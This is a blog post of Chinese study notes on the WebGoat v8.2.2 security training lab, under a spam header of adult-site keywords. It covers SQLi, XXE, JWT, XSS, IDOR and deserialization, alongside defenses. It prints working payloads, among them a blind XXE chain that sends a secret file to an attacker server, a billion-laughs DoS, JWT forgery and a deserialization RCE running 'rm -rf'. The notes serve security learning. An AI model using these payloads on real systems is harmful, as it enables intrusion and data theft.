日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[NOTE] WebGoat v8.2.2学习笔记

發布時間:2024/4/18 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [NOTE] WebGoat v8.2.2学习笔记 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[NOTE] WebGoat v8.2.2學習筆記

文章目錄

  • [NOTE] WebGoat v8.2.2學習筆記
    • 前言
    • CIA
    • 常見編碼形式
    • OpenSSL使用
    • docker安全
    • SQL安全
      • SQLi
      • SQL特殊字符
      • UNION&JOINS
      • 一個盲注payload&BP爆破
      • SQLi防御
        • 預編譯
        • 存儲過程
        • 最小特權原則
        • 預編譯的問題
    • 路徑遍歷
    • 認證失效
      • JWT
      • BASE64 URL
      • 一些風險點
      • JWT簽名密鑰爆破
      • Token的使用
      • Tom&Jerry的題
      • JWT使用注意事項
    • 密碼重置
      • 賬戶信息輸出
      • 安全問題
      • 密碼重置鏈接
    • 安全密碼
    • 敏感信息泄露
    • XXE
      • 分類
      • 基本例子
      • 第一道題目
      • 代碼審計找XXE
      • 第二道題目
      • XXE DOS
      • Blind XXE
      • XXE 防御
      • 靜態代碼分析
    • 不安全的對象直接引用
      • 直接對象引用
      • 應用層訪問控制缺失
    • XSS
      • 概念
      • 可能的XSS位置
      • XSS的可能危害
      • XSS的類型
      • 反射型XSS的場景
      • 反射型XSS題目
      • 反射型和DOM-based
      • 一些DOM-based題目
      • 答題環節
    • 不安全的反序列化
      • 概念
      • Native Serialization
      • 最簡單的例子
      • Gadgets Chain
      • 題目
    • 不安全組件
      • 概念
      • OWASP Top 10:2021 (A06)
      • OWASP Dependency check
      • 總結
    • CSRF
      • 概念
      • 第一道題目
      • 第二道題目
      • 來自框架的自動支持
      • content-type和CSRF
      • 一道關于content-type的題目
      • 題目:Login CSRF attack
      • CSRF的影響
      • 解決方法
    • SSRF
      • 概述
      • 環境準備
      • 簡單演示
      • 測試
      • 容易出現SSRF漏洞的5個特征
      • blind SSRF
      • 影響
      • 把SSRF作為一個支點
      • 第一道題目
      • 第二道題目
      • 防御
    • 前端限制繞過
    • Client Side Filtering
    • HTML篡改
    • Challenges
      • admin lost password
      • without password
      • admin password reset
      • without account
    • 后記

前言

是對WebGoat靶場的學習筆記
不會每個小內容都記下來
只會寫寫我感興趣、不太理解或者是覺得重要的部分

CIA

  • Confidentiality(機密性)
  • Integrity(完整性)
  • Availability(可用性)

常見編碼形式

  • BASE64編碼

  • URL編碼
    就是GET傳參時出現在URL里的諸如“%20”之類的符號

  • HTML編碼
    就是防止“<、>”之類的被解析成HTML元素,即HTML實體編碼,諸如“&lt;、&gt;”

  • UU編碼
    有這么點類似于BASE64編碼,常用于郵件附件轉碼

  • XOR編碼/加密
    異或編碼,需要就是原文和密鑰做異或,輸出密文(對合操作)
    常用于數據庫加密存儲密碼等敏感字段

  • {xor}BASE64字符串

    {xor}Oz4rPj0+LDovPiwsKDAtOw==

    一段由異或編碼處理過的信息,而且是用IBM的WebSphere工具中的編碼規則處理的
    從網上找到專門解碼WebSphere規則的應用進行解碼:http://www.sysman.nl/wasdecoder/

OpenSSL使用

  • 自己生成公私鑰對

  • 根據私鑰生成公鑰

    openssl rsa -in rsa_private_key.pem -out rsa_public_key.pem -pubout
  • 從私鑰提取模數(modulus)

    openssl rsa -modulus -in rsa_private_key.pem -out modulus -noout

    openssl rsa -in ./privatekey.pem -modulus
  • 使用私鑰簽名(下面是對模數簽名)

    openssl dgst -sign rsa_private_key.pem -sha256 -out modulus.signature modulus

    echo -n {模數} | openssl dgst -sign ./privatekey.pem -sha256 -out ./dgst.txt base64 ./dgst.txt > result
  • BASE64編碼轉換

    base64 ./dgst.txt > result
  • 對某一加密字符串進行指定解密

    echo {BASE64 String} | openssl enc -aes-256-cbc -d -a -kfile ~/TEMP/keyfile
  • docker安全

    不要把用戶密碼文件(例如系統用戶密碼)放到docker鏡像中
    因為可以使用docker的cp命令無視權限將密碼文件(如shadow、passwd)放到容器外面
    然后可以外部修改root的密碼,再cp回去覆蓋,即可做到任意重置容器用戶密碼

    SQL安全

    • DML (Data Manipulation Language)
      SELECT、UPDATE、DELETE
      大概是數據操作語言
    • DDL (Data Definition Language)
      CREATE、ALTER、DROP
      大概是數據定義語言
    • DCL (Data Control Language)
      GRANT、REVOKE
      大概是權限控制語言

    SQLi

    就是SQL injection


    關于NOT、OR、AND的計算優先級順序:
    NOT>AND>OR

    所以有如下例子:

    SELECT * From user_data WHERE Login_Count = 1 OR 1 = 1 AND userid= 1
  • 先計算“1 = 1 AND userid= 1”,得false
  • 再計算“Login_Count = 1 OR false”,得false
  • 所以總體為false,注入失敗
  • 再有如下例子:

    SELECT * From user_data WHERE Login_Count = 1 AND userid= 1 OR 1 = 1
  • 先計算“Login_Count = 1 AND userid= 1”,得false
  • 再計算“false OR 1=1”,得true
  • 所以總體為true,注入成功

  • 元字符“;”
    構造查詢鏈/命令鏈去修改數據,破壞完整性(確保SQL格式語法正確)


    使用“%”的SQL搜索語句

    SELECT * FROM access_log WHERE action LIKE '%" + action + "%'

    嘗試主動閉合:XXX%’

    SQL特殊字符

    UNION&JOINS

    基本上都是用于合并查詢結果,或者是用于一次查詢獲取多個結果
    區別在于:

    • UNION要求多個SELECT之間查詢的字段數目和類型都是一樣的
    • JOINS使用兩份數據之間的某種聯系來合并多行

    使用union可以使用‘a’、’b’、’c’或1、2、3等來代替空缺的字段
    從而使多個select之間字段數目和類型都相同

    例如:

    SELECT * FROM user_data WHERE last_name = '' UNION SELECT userid,user_name, password, 'a', 'b', 'c', 1 from user_system_data --'

    一個盲注payload&BP爆破

    cluster bomb模式,第一個payload設置number、第二個設置字符集,注意限速,不然容易出錯

    username_reg=tom'+and+substr(password,$1$,1)='$1$' --&email_reg=tom%40webgoat.org&password_reg=123456&confirm_password_reg=123456

    SQLi防御

    Immutable Queries(靜態查詢與預編譯)

    預編譯

    statement & prepared statement

    • ‘?’可用于占位符
    • Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data
    • Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way
    • Pre-statement會預編譯,然后等待參數,速度上比SQL拼接再編譯執行要快

    存儲過程

    存儲過程也要合理使用才安全,對比如下:


    一個JAVA使用預編譯的例子:

    或者代碼如下:

    String userName = "peter"; try {Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");ps.setString(1, userName);ResultSet results = ps.executeQuery();System.out.println(results.next()); } catch (Exception e) {System.out.println("Oops, Something went wrong!"); }

    最小特權原則

    • 連接數據庫的用戶權限最小——應用很少需要對表或數據庫的刪除權限
    • 數據庫用戶應該限制模式訪問
    • 確定數據庫用戶的讀寫權限
    • 基于訪問的多個連接(池)
      • 驗證查詢應“只讀”
      • 數據修改查詢應“讀寫”
      • 存儲過程調用應“執行”

    預編譯的問題

    即使后端做了預處理或者其他操作來防止SQL注入,前端也依舊需要輸入過濾
    防止XSS、信息泄露等其他安全威脅

    預編譯不能完全防止SQL注入
    原因…感覺復雜,一大段話:

    This means an orderExpression can be a selectExpression which can be a function as well, so for example with a case statement we might be able to ask the database some questions, like:

    SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname)

    So we can substitute any kind of boolean operation in the when(…) part. The statement will just work because it is a valid query whether you use a prepared statement or not. An order by clause can by definition contain an expression.

    進一步緩解:

    If you need to provide a sorting column in your web application you should implement a whitelist to validate the value of the order by statement. It should always be limited to something like ‘first name’ or ‘last name’.

    后面有例子:
    可以選擇某個列進行排列,發現會發送GET請求,有個column參數
    改成payload:column=(CASE WHEN (TRUE) THEN ip ELSE hostname END)
    看看會不會按ip排列,從而判斷有沒有注入
    然后構造WHEN()里面的表達式,形成類似于盲注的注入情況

    路徑遍歷

    dot-dot-slash:…/

    URL-encoding:%2e%2e%2f
    雙重URL-encoding

    關鍵還是要對文件讀取的各個接口敏感點
    觀察怎么利用,注意防御對策


    Zip Slip vulnerability

    一個提取zip文件時產生的漏洞,可以利用路徑穿越去覆寫一些常見的命令例如“ls”
    受害者每次執行ls,都會將結果先發送給攻擊者
    最終攻擊者可以RCE

    比較經典的代碼:

    File destinationDir = new File("/tmp/zip"); Enumeration<? extends ZipEntry> entries = zip.entries(); while (entries.hasMoreElements()) {ZipEntry e = entries.nextElement();File f = new File(destinationDir, e.getName());InputStream is = zip.getInputStream(e);IOUtils.copy(is, write(f)); }

    destinationDir參數可以被路徑穿越

    大概就是,開發者用zip里面的文件來上傳,但是可以控制里面的文件所解壓的路徑?
    建議多看幾遍

    認證失效

    繞過安全問題的一個方法:刪掉安全問題參數或者將安全問題參數的序號改一改


    簡單提及一下cookie、session以及token的一個觀點
    cookie側重于客戶端行為,多用于記錄用戶設置、行為等,多存儲于客戶端,又分為內存cookie(短時cookie)和硬盤cookie(長時cookie)
    session和token側重于服務端行為,注重身份認證

    JWT

    JSON Web Tokens
    使用HMAC算法或公私鑰對進行簽名

    基本使用流程圖:

    后續客戶一般在請求頭中的“Authorization”字段里加上JWT

    基本格式:
    {header}.{body}.{sign}
    每個部分都經過base64編碼,且各自最后沒有“=”,最后再用“.”相連

    BASE64 URL

    在HTTP傳輸過程中,Base64編碼中的"=","+","/"等特殊符號通過URL解碼通常容易產生歧義因此產生了與URL兼容的Base64 URL編碼
    在Base64 URL編碼中,"+“會變成”-","/“會變成”_","="會被去掉,以此達到url safe的目的

    一些風險點

    • header中的加密算法字段可以修改為“none”,同時刪除簽名字段后,該JWT可能會繞過一些服務器的簽名檢查
    • 一個“RS256”(RSA, 2048位)參數值可以被更改為“HS256”(HMAC, SHA-256),并且一些庫會嘗試使用HMAC- sha256和使用RSA公鑰作為HMAC共享密鑰來驗證簽名(參見[McLean]和[CVE-2015-9235])

    基本上發生的事情是,庫只解析令牌,而不驗證令牌創建過程中使用的加密操作

    JWT簽名密鑰爆破

    命令:

    hashcat -m 16500 jwt.txt -a 3 dict.txt
    • -m 16500:這里的16500對應的就是JWT的爆破
    • -a 3:代表蠻力破解
    • -w 3:可以理解為高速破解,就是會讓桌面進程無響應的那種高速(可省略)
    • jwt.txt:要求破解的JWT文件
    • dict.txt:字典文件

    要是JWT有期限字段,可以嘗試修改有效期使其生效

    其實有時候不一定要爆破,嘗試修改加密算法為“none”,然后刪掉后面簽名

    Token的使用

    access token & refresh token
    兩者的區別

    注意事項:

    • 注意重點保護refresh token,因為access token生成需要鑒別它
    • 注意每個access token應該只與一個refresh token對應,否則攻擊者可能通過自己的refresh token生成別人的access token(越權)
    • 注意檢查refresh token的使用情況(次數、頻率、時間、地理位置等),不對勁則應要求用戶重新認證并重新獲取refresh token

    啥時候用JWT?
    WebGoat建議是server與server之間使用,普通Web應用使用普通cookies更好

    Tom&Jerry的題

    這題要用組合拳
    JWT頭部的kid字段存在SQL注入(這我咋知道啊)(看源碼?)
    大概是用這個字段從數據庫中選擇密鑰要進行加密簽名
    所以可以修改為“select ‘1’ …”,這樣密鑰就會變成自己設置的‘1’,從而可以控制JWT
    (注意BASE64編碼,要結合源碼)

    啟示:注入不要拘泥于明文字符,可能有編碼后再注入

    JWT使用注意事項

    • 鎖定算法,確保用戶不能修改算法
    • 當使用對稱密鑰簽名時,請確保密鑰的長度
    • 盡量不要在JWT主體中添加敏感信息,除非經過加密
    • 請確保足夠的測試案例被使用,使用第三方測試服務并不意味自己無需測試;請保證非法的JWT一定是無效的

    密碼重置

    賬戶信息輸出

    一些比較敏感的網站,其用戶是否存在也是敏感的
    因此頁面應該盡量顯示少的信息,而不是直接輸出“該用戶/郵箱已注冊/存在”、“用戶/郵箱不存在”
    對于重置密碼的郵箱輸入,應無論郵箱是否存在都輸出“郵件已發送”

    安全問題

    aka knowledge-based authentication (KBA)

    安全問題在數據庫中的存儲也應該是加密存儲的
    即應和密碼采用同樣等級甚至是更高等級的存儲

    安全問題應該設定鎖定次數,防止一些簡單問題答案被爆破

    The “perfect” security question should be hard to crack, but easy to remember. Also the answer needs to fixed, so it must not be subject to change.

    接下來列舉了一些常見的安全問題,并且展示了它們為什么不如想象中的好

    • 因為容易從別的社交媒體中找出
      • 最喜歡的動物
      • 初吻對象(或直接猜名字)
      • 童年居住的街道名(或者直接就是現在居住的地方)
      • 第一份工作的地點或城市(LinkedIn、Facebook或國內求職網站等)
      • 出生城市(或直接猜)
      • 申請過但沒有成功的公司/大學(可以直接搜索所在城市公司/大學)
      • 小時候的花名
    • 因為很容易猜
      • XXX的出生月份
      • 哪只手戴手表(??戴牛子上)
      • 童年英雄
      • 最喜歡的顏色
    • 很難記
      • 啥時候生,精確到分秒
      • 三年級最喜歡老師的姓氏(???或許可以直接猜)

    密碼重置鏈接

    應該滿足以下要求:

    • 使用獨一無二的隨機token作為URL的一部分(防止DOS重置任意用戶密碼)
    • 應該只能使用一次
    • 應當設置鏈接有效期

    密碼重置鏈接要當心越權的問題
    就是要當心唯一標識的字段可以被攻擊者獲取
    (例如修改host,偽造假鏈接,引誘受害者點擊,從而獲取到字段)
    從而可以修改鏈接,達到任意重置密碼的目的

    安全密碼

    兩個方面:密碼本身的強度、密碼的存儲安全

    如何安全存儲密碼

    • 使用安全信道或加密信道傳輸密碼
    • 要求能抵御脫機攻擊
    • 哈希存儲加鹽
    • 使用安全哈希
    • memory hard key derivation function
    • high cost factor
    • 看原文去啊草

    敏感信息泄露

    XXE

    建議自己先去了解一些XXE相關
    (了解那么久還是不會啊草,自己復現又是各種問題啊草)

    分類

    • Classic
      in this case an external entity is included in a local DTD
      (外部實體包含在本地DTD中)
    • Blind
      no output and or errors are shown in the response
      (無任何回顯)
    • Error
      try to get the content of a resource in the error message
      (在錯誤輸出中獲取資源信息)

    基本例子

    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE author [<!ENTITY js SYSTEM "file:///etc/passwd"> ]> <author>&js;</author>

    后面&js;就會被替換成passwd里面的內容

    The extra document type definition(DOCTYPE) is something you can always add to the xml document and if the parser settings are enabled to allow external entities to be processed you are off to a good start for finding a XXE injection.

    ”SYSTEM”關鍵詞導致XML解析器可以從本地文件或者遠程URI中讀取數據。所以攻擊者可以通過XML實體傳遞自己構造的惡意值,是處理程序解析它。當引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害

    第一道題目

    原POST的數據:

    <?xml version="1.0"?><comment><text>try</text></comment>

    替換成:

    <?xml version="1.0"?><!DOCTYPE any[<!ENTITY js SYSTEM "file:///root/">]><comment><text>&js;</text></comment>

    效果:

    但是沒過,麻了
    哦哦,原來是文件系統的根目錄(the root directory of the filesystem),不是root目錄

    代碼審計找XXE

    呃,有點難

    第二道題目

    有點像是現實中,就臨時修了下漏洞
    一開始傳輸的是json數據(Content-Type: application/json),提交xml顯示說失敗
    然后修改為Content-Type: application/xml,再提交xml就成功了
    類似于替換新接口,但是原接口還啟用著

    現實情況可以考慮先修改傳輸類型,看看會不會報錯
    在判斷有無XXE

    更真實的情況:

  • 先修改傳輸類型看看報錯
  • 傳輸基本XML數據,如“<text>hello</text>”,看看報錯
  • 根據報錯信息,逐步完善XML結構,如“<comment><text>hello</text></comment>”
  • 如能成功,再嘗試XXE
  • 啟示:防護要全面,舊風險要盡可能地清除

    XXE DOS

    代碼如下:

    <?xml version="1.0"?> <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>

    解析:
    總之就是迭代定義
    直接讓這個XML數據耗掉服務器大量內存(3 gigabytes,理論上)
    從而形成DOS

    Blind XXE

    有時候會看不到回顯,可能是這次XXE攻擊純粹地沒有回顯,又或者是嘗試讀取的非法XML包含了非法字符導致解析器失效
    這種XXE攻擊和SQL盲注類似

    然后是上演示,不太好理解

    最后總結:
    所以有了XXE,我們可以ping我們自己的服務器,這意味著XXE注入是可能的
    因此,通過使用XXE注入,我們基本上能夠達到與一開始使用curl命令時相同的效果

    對應題目:
    還是不太懂哈
    事先準備如下文件放到攻擊者服務器

    <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % payload "<!ENTITY attack SYSTEM 'http://www.webgoat.local:9090/landing?text=%file;'>">

    然后注入如下的XXE payload:

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY % file SYSTEM "file:///root/.webgoat-8.2.2//XXE/secret.txt"><!ENTITY % test SYSTEM "http://127.0.0.1:9090/files/arcyxu/try.dtd">%test;%payload;]><comment><text>&attack;</text></comment>

    然后就可以在攻擊者的服務器中發現如下的記錄:
    其中text參數的值就是目標信息

    初步分析下,這是POST的內容:

    然后根據替換規則,會變成下面的樣子?

    所以會向攻擊者服務器(landing)發送GET請求,并通過file參數泄露信息?

    盲注在于,信息不會直接回顯到頁面上,需要另外設置接收信息的地方
    這次是攻擊者的服務器log

    其他人博客的分析:

    第一步包含本地文件,把內容存在file中
    第二步遠程包含webwolf上的dtd
    第三步解析webwolf上的dtd,把file內容賦值給txt,作為參數發給webwolf

    總之就是難搞

    XXE 防御

    JAVA里面可以設置XML解釋器完全忽視DTD:

    或者是指示XML解釋器僅忽視外部DTD:

    或者是進行驗證:

    • 對Content-type和Accept報頭進行驗證
    • 不要簡單地依賴框架來處理傳入請求
    • 如果客戶端指定了一個不合適的accept報頭,返回一個’406/Not Acceptable’

    靜態代碼分析

    一個工具:SonarQube
    可以對代碼進行靜態分析,從而發現潛在的XXE漏洞

    不安全的對象直接引用

    Insecure Direct Object References(IDOR

    直接對象引用

    Direct Object References

    指應用程序使用客戶端提供的輸入來訪問數據和對象
    即可能存在的任意資源訪問風險

    如:

    • https://some.company.tld/dor?id=12345
    • https://some.company.tld/images?img=12345

    不僅是GET,其他方法也有可能導致任意資源訪問的問題
    容易導致越權或敏感信息泄露問題

    測試越權最好能控制多個賬號

    • 同等級/權限的不同賬號
    • 不同等級/權限的不同賬號

    這里有一些抵御越權攻擊的實現:

    MORE HERE


    除了修改請求資源的字段之外
    直接訪問某不該被訪問到的URL也算是越權

    一個猜訪問字段/備份URL的例子:
    尋常訪問資源的請求URL是:/WebGoat/IDOR/profile
    訪問后返回一些配置文件,其中有個userId
    然后就可以猜測如下的備份配置訪問URL:/WebGoat/IDOR/profile/{userId}
    然后就有越權讀取任意用戶配置文件風險

    有時不好猜,可能要FUZZ一波(封IP警告)


    防御措施:從endpoint(目的?)出發

    • 列出訪問控制說明文件,審查訪問控制規則
    • 做好訪問日志記錄,方便審查問題
    • 使用間接訪問(Indrect References),例如使用hash、編碼或其他方法處理后的值訪問
    • 使用簽名鑒權,如token、JWT等

    應用層訪問控制缺失

    Missing Function Level Access Control

    和IDOR的區別:

    • IDOR更多地是強調水平/垂直的訪問控制/越權問題
    • 應用層訪問控制缺失強調的是“應用層功能暴露”(?)

    有一個例子
    大概就是曾經有一些網站,試圖使用javascript來在UI中隱藏一些管理員功能

    具體可以從以下方面入手去找:

    • HTML或javascript元素
    • 被注釋掉的元素
    • 通過CSS隱藏掉的部件

    題目

    根據上一題的提示,UI隱藏了兩個菜單組件,對應URL如下:

    • /users
    • /config

    這是原始提交答案的數據包:

    然后根據提示,可以試試將方法改成GET
    同時注意Content-Type改為’application/json’(會影響到響應結果,經常忘哈)
    然后,猜一猜接口路徑,一路試下去,得到這個:

    即返回正確結果

    或者有另一種做法:

    OK, here it is.
    First, create an admin user …
    Change the method to POST, change the content-type to “application/json”.
    And your payload should look something like:

    {"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"}

    Now log in as that user and bring up WebGoat/users.
    Copy your hash and log back in to your original account and input it there to get credit.

    XSS

    概念

    允許一些(組合的)html/script作為輸入,而沒有檢測或過濾
    最廣泛的Web安全漏洞
    “富網絡應用”的盛行,使得高權限的JS腳本變得普遍,給XSS提供了攻擊點

    可通過瀏覽器控制臺調用來查看本地cookie

    alert(document.cookie)

    可能的XSS位置

    • Search fields that echo a search string back to the user
    • Input fields that echo user data
    • Error messages that return user supplied text
    • Hidden fields that contain user supplied data
    • Any page that displays user supplied data
      • Message boards
      • Free form comments
    • HTTP Headers

    總之反射型XSS可能存在的地方一定要有能回顯的地方

    XSS的可能危害

    • 盜取cookies

    • 創建錯誤請求

    • 在頁面上創建收集憑證的惡意域(fields)

    • 重定向到惡意頁面

    • 偽造合法用戶請求

    • 盜取秘密信息

    • 通過active script在終端系統執行惡意代碼

    • 在頁面插入危險/反動言論或圖片

      <img src="http://malicious.site.com/image.jpg/>

    • 增加用戶受到釣魚攻擊的風險

      在URL中使用有效域

    XSS的類型

    • 反射型

      • 用戶的惡意請求回顯到瀏覽器上

      • 惡意內容經服務器響應后寫入到頁面

      • 社會工程學是必須的

      • 在瀏覽器中使用從用戶處繼承的瀏覽器權限運行?

        Runs with browser privileges inherited from user in browser

    • 存儲型

      • 惡意內容存儲到服務端,返回給頁面的所有用戶
      • 不太需要社會工程學
    • DOM-based(本質上是反射型)

      • 用戶的惡意請求經用戶端腳本以HTML形式寫入到頁面中
      • 在瀏覽器中使用從用戶處繼承的瀏覽器權限運行?

    反射型XSS的場景

  • Attacker sends a malicious URL to victim(所以要社工)
  • Victim clicks on the link that loads malicious web page
  • The malicious script embedded in the URL executes in the victim’s browser
  • The script steals sensitive information, like the session id, and releases it to the attacker
  • Victim does not realize attack occurred
  • 反射型XSS題目

    主要是教教怎么找頁面中的注入點
    可使用“alert()”或者是“console.log()”方法

    發現會把信用卡號作為字符串回顯
    就把卡號改為“<script>alert(“XSS”)</script>”
    成功

    這種惡意腳本中沒有指向外鏈,只起本地作用的叫“Self XSS”

    反射型和DOM-based

    DOM-based只是另一種形式的反射型
    兩者都是通過特殊鏈接觸發,并反映到瀏覽器上
    不同之處在于:DOM-based的payload永遠不會去到服務端,只會在客戶端起作用

    一個場景:

  • Attacker sends a malicious URL to victim
  • Victim clicks on the link
  • That link may load a malicious web page or a web page they use (are logged into?) that has a vulnerable route/handler
  • If it’s a malicious web page, it may use it’s own JavaScript to attack another page/url with a vulnerable route/handler
  • The vulnerable page renders the payload and executes attack in the user’s context on that page/site
  • Attacker’s malicious script may run commands with the privileges of local account
  • Victim does not realize attack occurred
  • Malicious attackers don’t use “<script>alert(‘xss’)</script>”
  • 一些DOM-based題目

    有點難度,因為要結合Backbone、路徑控制等知識

    總之,提示說DOM-based XSS通常可以在客戶端通過查找路徑配置代碼(route configurations in the client-side code)來發現
    尋找可以將輸入“反映”到頁面的路徑

    在這題中,可以在路徑控制程序(原文為handler)中找到一些測試代碼
    這里要了解WebGoat使用backbone作為主要的JavaScript路徑配置庫
    同時這些開發過程中的測試代碼被遺留在了正式產品中
    這些測試代碼通常是危險且易利用的

    這里的URL為:
    www.webgoat.local:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9
    可以知道基本路徑為:start.mvc#lesson
    再后面的是JavaScript路徑控制程序的參數

    下面的任務就是找到WebGoat在開發過程中遺留的測試代碼


    解法

    根據提示,打開瀏覽器控制臺檢查元素,發現Route控制的相關js腳本:

    鏈接:http://www.webgoat.local:8080/WebGoat/js/goatApp/view/GoatRouter.js

    審查代碼,查找“test”,有發現:

    得到答案,基本路徑為:start.mvc#test/


    下一題

    進一步利用上一題發現的測試代碼
    直接訪問路徑:http://www.webgoat.local:8080/WebGoat/start.mvc#test/
    然后發現后面的參數會被直接回顯到頁面上,考慮XSS

    于是測試出下面的payload:
    http://www.webgoat.local:8080/WebGoat/start.mvc#test/%3Cscript%3Ewebgoat.customjs.phoneHome()
    不知為啥后面不能跟“</script>”,不然控制臺里顯示不出結果

    答題環節

    有一個推薦閱讀

    嗯,題目沒啥特別的,過

    不安全的反序列化

    概念

    使用反序列化在各編程語言中略有不同
    如Java、PHP、Python、Ruby、C/C++
    但在關鍵概念上是一樣的

    序列化:將(內存中的)對象轉化成數據格式,以便存儲或傳輸
    反序列化:上述的反過程,從某種格式的數據中構建對象

    如今最受歡迎的序列化數據格式是JSON,在這之前是XML

    只有數據是序列化的,而代碼本身不是

    Native Serialization

    姑且翻譯為本地序列化/客制序列化

    一些編程語言提供了自己的序列化功能
    所使用的數據格式比一般的JSON或XML擁有更多的特性和功能
    甚至可以自行指定序列化的過程

    序列化/反序列化的過程以及這些特性可能會被攻擊者惡意利用
    從而達到DOS攻擊、越權攻擊以及RCE等效果

    最簡單的例子

    一段經典Java代碼:

    InputStream is = request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(is); AcmeObject acme = (AcmeObject)ois.readObject();

    期望獲取一個AcmeObject,但在強制類型轉換之前調用readObject()方法
    攻擊者要做的就是找到一個合適的類,來在調用readObject()時執行危險操作
    攻擊者可以序列化該對象,并使程序強制執行惡意操作

    這個合適的類在類路徑(ClassPath)中找
    (因為僅能使用已包含的包的關系?)

    一個危險的可序列化的Java類:

    package org.dummy.insecure.framework;import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.Serializable; import java.time.LocalDateTime;public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 1;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}private void readObject( ObjectInputStream stream ) throws Exception {//deserialize data so taskName and taskAction are availablestream.defaultReadObject();//關鍵在這里?在上面執行完readObject()之后執行taskAction指定的代碼?Runtime.getRuntime().exec(taskAction);} }

    針對上面的Java類,攻擊者可以序列化一個惡意對象并形成RCE
    Exploit如下:

    VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(go); oos.flush(); byte[] exploit = bos.toByteArray();

    Gadgets Chain

    一個在它自己執行反序列化時執行危險操作的類(這里稱之為gadget)是很少見的
    但是找到一個在反序列化時會作用到其他gadget的gadget卻很常見
    并通常會帶來更多的作用效果
    一個作用到下一個,直到真正的危險操作被執行
    這一串類,我們稱之為Gadgets Chain

    It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserializaded, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets that can be used in a deserialization process to achieve dangerous actions is called “Gadget Chain”.

    尋找gadget來構筑可利用的gadgets chain是安全研究人員的一個熱門話題
    這通常需要大量的時間去閱讀代碼
    (代碼審計的工作/目標之一?)

    題目

    一般反序列化題目只能白盒解決?
    目前來說難度偏大

    開源項目直接去GitHub找源碼
    一般Java包可以解包?(直接改后綴為zip?)

    在GitHub上定位到如下文件:

    然后開始代碼審計…

    框中的是解答成功的代碼實現
    箭頭定位出要反序列化的對象為一個VulnerableTaskHolder實例
    利用GitHub定位到VulnerableTaskHolder.java的代碼

    這里的VulnerableTaskHolder類基本上是前面提到的同名類的拓展
    其中的readObject()方法的關鍵地方如下:

    指出了只能使用sleep或ping命令來使系統延遲響應(防止Goat被玩壞)

    下面要做的就是

  • 構造一個VulnerableTaskHolder對象
  • 初始化taskAction為“sleep 6”來實現系統延遲響應
  • 把這個對象序列化
  • 把序列化后的數據按題目要求生成答案(具體參見源碼或者前面的演示)
  • 這里要求.java文件把包都指定為原定的org.dummy.insecure.framework
    否則驗證通不過

    得到EXP如下:
    大體思路應該理解,但是token不對
    懷疑是包指定的部分不對,得學習一下Java的包管理

    關于Java指定包與編譯
    例如兩個.java文件都指定了如下的包:
    package org.dummy.insecure.framework;
    那么應該在org的上級目錄處進行如下的編譯:
    javac ./org/dummy/insecure/framework/Main.java
    然后這樣運行:
    java org/dummy/insecure/framework/Main
    具體的個中原理,還得再練練

    完整exp如下:

